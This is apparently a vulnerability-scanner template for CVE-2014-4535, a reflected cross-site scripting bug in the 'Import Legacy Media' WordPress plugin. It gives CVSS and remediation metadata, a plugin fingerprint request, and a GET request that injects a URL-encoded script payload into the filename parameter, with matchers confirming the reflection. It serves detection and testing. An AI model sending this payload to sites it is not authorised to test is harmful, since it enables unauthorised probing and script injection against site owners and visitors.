id: CVE-2014-4535

info:
  name: Import Legacy Media <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in the Import Legacy Media plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the filename parameter to getid3/demos/demo.mimeonly.php.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform unauthorized actions.
  remediation: |
    Update to the latest version of the Import Legacy Media plugin (0.1 or higher) to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/7fb78d3c-f784-4630-ad92-d33e5de814fd
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4535
    - http://codevigilant.com/disclosure/wp-plugin-import-legacy-media-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4535
    cwe-id: CWE-79
    epss-score: 0.03983
    epss-percentile: 0.8947
    cpe: cpe:2.3:a:import_legacy_media_project:import_legacy_media:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "import_legacy_media_project"
    product: "import_legacy_media"
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,unauth,import_legacy_media_project,vkev,vuln
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        internal: true
        words:
          - '/wp-content/plugins/import-legacy-media/'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/import-legacy-media/getid3/demos/demo.mimeonly.php?filename=filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a828969e3647f643c1ba0ab8d5a10aae2844e170d2520a29d5e31c00dcef9f73022100af6bc22715bfa47e2815dd56930f16d3c31aa2f91aa7f9ffbcecd171511c2c6e:922c64590222798bb761d5b6d8e72950